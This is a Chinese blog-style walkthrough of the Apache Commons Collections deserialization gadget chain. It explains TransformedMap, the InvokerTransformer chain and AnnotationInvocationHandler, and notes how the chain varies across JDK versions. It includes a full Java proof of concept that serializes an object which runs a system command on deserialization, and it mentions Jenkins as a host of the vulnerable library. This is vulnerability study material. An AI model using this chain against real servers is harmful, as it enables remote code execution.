Apache Commons Collections反序列化原理
redrain大佬的这篇文章写这个原理写的非常详细:
Lib之过?Java反序列化漏洞通用利用分析
涉及到两个大类:
- Map-> TransformedMap
- Transformer-> InvokerTransformer,ConstantTransformer,ChainedTransformer
Apache Commons Collections背景知识(任意代码执行的原理)
根据官方说明:
Commons-Collections seek to build upon the JDK classes by providing new interfaces, implementations and utilities.
Commons-Collections旨在给JDK中自带的Collection类提供新的接口、实现以及功能。
参考:https://commons.apache.org/proper/commons-collections/
这个Map不一般:TransformedMap
全限定名是:org.apache.commons.collections.map.TransformedMap
先从JDK自带的Map说起。Map(JDK自带java.util.Map接口,其中java.util.HashMap是其常见实现类)是存储键值对的数据结构。然后相应地,Apache Commons Collections实现了TransformedMap
(字面意思“经过转换后的Map”。具体来说是通过decorate
方法。)
这个类实现了Map(通过继承间接实现)和Serializable。
转换Map的关键接口:Transformer
全限定名:org.apache.commons.collections.Transformer
看一下Transformer这个接口源代码里的注释:
它只需要被实现一个接口:
public Object transform(Object input);
接收一个对象input,然后通过transform方法将其转换成另外一个对象,然后返回,之前的对象保持不变。
特殊的InvokerTransformer
全限定名:org.apache.commons.collections.functors.InvokerTransformer
Apache Commons Collections中有一些已经实现的Transformer类,其中有一个比较特殊的,叫做InvokerTransformer,它的特殊在于可以 执行传参中指定的任意类的任意方法!
public class InvokerTransformer implements Transformer, Serializable {
...
/**
* Constructor that performs no validation.
* Use <code>getInstance</code> if you want that.
*
* @param methodName the method to call
* @param paramTypes the constructor parameter types, not cloned
* @param args the constructor arguments, not cloned
*/
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
/**
* Transforms the input to result by invoking a method on the input.
*
* @param input the input object to transform
* @return the transformed result, null if null input
*/
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}
前面做了大量准备,就是在等这一步漏洞触发。跟进这最后一步调试看看。
看一下这个poc里如何最后一步通过Map.Entry#setValue,调用transform方法的:
//得到AbstractInputCheckedMapDecorator.MapEntry对象
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
//触发漏洞
onlyElement.setValue("foobar");
->
org/apache/commons/collections/map/AbstractInputCheckedMapDecorator.MapEntry#setValue
->
org/apache/commons/collections/map/TransformedMap#checkSetValue
->
org/apache/commons/collections/functors/ChainedTransformer#transform
对之前传入的每个Transformer都调用transform方法:
而这每个Transformer都带着自己的payload。只是每个Transformer分工不同。一个一个看,ConstantTransformer直接返回其之前通过构造器传入的Runtime class对象(这个Runtime class对象是当时用构造器传进去的new ConstantTransformer(Runtime.class)):
注意到这个ChainTransformer比较特殊,其成员Transformer转换完之后返回的Object会交给下一个Transformer继续转换:
比如最开始是从ConstantTransformer返回的Runtime class对象,
然后是三个InvokerTransformer。
看一下InvokerTransformer这个类的接收三个参数的构造器(待调用的方法名、参数类型数组、参数对象数组):
在跟流程之前,先梳理一下通过Runtime执行任意命令的流程:
java.lang.Runtime类执行其静态方法getRuntime()得到一个Runtime类的实例:
//TODO
但是我们现在只有Runtime.class对象,如果得到一个Runtime类的实例呢?
参考:
https://docs.oracle.com/javase/8/docs/api/java/lang/Class.html#getMethod-java.lang.String-java.lang.Class…-
看一下官方关于class类的getMethod方法的原型:
public Method getMethod(String name,
Class<?>... parameterTypes)
throws NoSuchMethodException,
SecurityException
其说明为:
Returns a Method object that reflects the specified public member method of the class or interface represented by this Class object. The name parameter is a String specifying the simple name of the desired method. The parameterTypes parameter is an array of Class objects that identify the method’s formal parameter types, in declared order.
name
参数是一个字符串,表示方法的名字。parameterTypes
是可变参数列表,是一个可变长度的class[]数组。具体得看这个方法接收几个参数,每个参数都是什么类型了。
比如我们第一个InvokerTransformer构造器中传入的方法名是"getMethod"
,并且是接收{String.class, Class[].class }
类型,即String类型、class数组类型的那个getMethod
方法。
进入org/apache/commons/collections/functors/InvokerTransformer#transform
看看,
传入的是Runtime class对象,
经过第一个InvokerTransformer转换完成之后得到的Object是java.lang.Runtime.getRuntime()
这个Method对象。
第二个InvokerTransformer调用这个对象的invoke方法,得到一个java.lang.Runtime
对象。
最后一步演示:
但是,这里只是为了做漏洞演示,毕竟这里只是在测试命令执行。而为了让服务端执行我们的命令,我们需要修改最后一步,让服务端为了反序列而调用ObjectInputStream#readObejct
时,触发Map中某一项去调用setValue(),自动执行我们构造的命令。
rt.jar!sun/reflect/annotation/AnnotationInvocationHandler.java
在IDEA中结合frohoff的JDK代码进行调试:
https://github.com/frohoff/jdk8u-jdk/blob/master/src/share/classes/sun/reflect/annotation/AnnotationInvocationHandler.java
刚好这个类实现了序列化接口,而且有一个成员变量memberValues是Map类型。(注意:其构造方法接收两个参数:class对象和Map对象,且不是public的构造方法,需要后续反射的时候设置setAccessible(true)
)
参考:http://gityuan.com/2015/07/18/java-reflection/
且调用了setValue方法:
将构造PoC和执行反序列化操作触发PoC两段分开之后,整个过程大概是:
总结
1、ConstantTransformer:
=>Runtime
class对象;(PoC中通过构造方法传入Runtime.class对象)
2、第一个InvokerTransformer:
Runtime
class对象(调用getMethod
)
=>java.lang.Runtime.getRuntime()
这个Method对象
3、第二个InvokerTransformer:
java.lang.Runtime.getRuntime()
这个Method对象(调用invoke
)
=>java.lang.Runtime
对象
4、第三个InvokerTransformer:
java.lang.Runtime
对象(调用exec
,传入参数Calculator)
=> 实现命令执行
阅读ysoserial源码,发现主要是CommonsCollections1
这个payload的代码:
https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java
漏洞调试
在IDEA里新建一个项目,把commons-collections作为lib加进去,直接调试。
PoC
来自redrain博客。
package com.cqq;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception{
// 构造一个有四个成员的Transformer数组。通过组合一个ConstantTransformer和三个InvokerTransformer构造payload,待构造成ChainedTransformer对象。
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc"})
};
//将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformerChain
Map innerMap = new HashMap();
innerMap.put("value", "value");
//得到TransformedMap对象
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
/* 本地触发
//得到AbstractInputCheckedMapDecorator.MapEntry对象
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
//触发漏洞
onlyElement.setValue("foobar");
*/
// 构造之后待远程触发
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// 获取到AnnotationInvocationHandler的接收class类型和Map类型的构造器
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
// 用于保证反射可调用非Public的属性与方法
ctor.setAccessible(true);
// 通过AnnotationInvocationHandler构造器传入outerMap对象,并构造除AnnotationInvocationHandler实例
Object instance = ctor.newInstance(Target.class, outerMap);
String serFile = "CommonsCollectionsPoC.ser";
/* 将恶意的序列化对象写入文件中 待网络传输被反序列化*/
serialize(instance, serFile);
/* 模拟反序列化执行任意代码 */
deSerialize(serFile);
}
public static void serialize(Object object, String serFile) throws Exception{
File f = new File(serFile);
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(object);
out.flush();
out.close();
}
public static void deSerialize(String serFile) throws Exception{
ObjectInputStream in = new ObjectInputStream(new FileInputStream((serFile)));
in.readObject();
}
}
注意,由于我们只需要对value进行操作,所以这里:
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
在本该传key transformer的地方只传了null,因为我们没有对key进行转换。
Gadget Chain思路总结
因为AnnotationInvocationHandler其构造方法接受一个Map对象,而且在其readObject的时候会调用这个map对象的setValue方法。于是我们构造一个TransformedMap对象,并先通过反射将这个对象通过AnnotationInvocationHandler构造器传入,通过网络发送出去,在网络的另一边,如果对面有readObject操作,且classpath中有commonsCollection库,自己AnnotationInvocationHandler(jdk自带,具体版本代码不同,待细看),就可以在另一边执行这系列操作,执行攻击者指定的任意代码。
参考调试中的调用堆栈:
不同版本jdk中AnnotationInvocationHandler代码区别
注意这个链的执行成功跟JDK版本有关系。在最开始使用的jdk1.8.0_172中,AnnotationInvocationHandler
的readObject方法是这样的:
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
GetField var2 = var1.readFields();
Class var3 = (Class)var2.get("type", (Object)null);
Map var4 = (Map)var2.get("memberValues", (Object)null);
AnnotationType var5 = null;
try {
var5 = AnnotationType.getInstance(var3);
} catch (IllegalArgumentException var13) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var6 = var5.memberTypes();
LinkedHashMap var7 = new LinkedHashMap();
String var10;
Object var11;
for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
Entry var9 = (Entry)var8.next();
var10 = (String)var9.getKey();
var11 = null;
Class var12 = (Class)var6.get(var10);
if (var12 != null) {
var11 = var9.getValue();
if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
}
}
}
AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);
AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
}
并没有setValue,而在jdk1.8.0中:
高版本的构造器中:
1.8.0版本C:\Program Files\Java\jdk1.8.0\jre\lib\rt.jar!\sun\reflect\annotation\AnnotationInvocationHandler.class的构造器:
1.8.0中,
ObjectInputStream#readObject
…
=>AnnotationInvocationHandler#readObject
=>ObjectInputStream#defaultReadObject
杂
看了一下Jenkins的lib,果然有commons-collection3这个包: